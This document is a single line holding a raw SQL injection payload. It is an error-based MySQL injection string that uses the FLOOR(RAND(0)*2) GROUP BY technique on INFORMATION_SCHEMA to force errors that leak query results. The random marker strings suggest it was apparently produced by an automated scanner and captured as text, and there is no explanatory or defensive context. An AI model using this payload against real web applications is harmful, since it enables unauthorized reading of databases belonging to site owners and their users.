atestu AND (SELECT 4025 FROM(SELECT COUNT(*),CONCAT('WqJQ5BNn',(SELECT (CASE WHEN (4025=4025) THEN 1 ELSE 0 END)),'WqJQ5BNn',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND WqJQ5BNn=WqJQ5BNn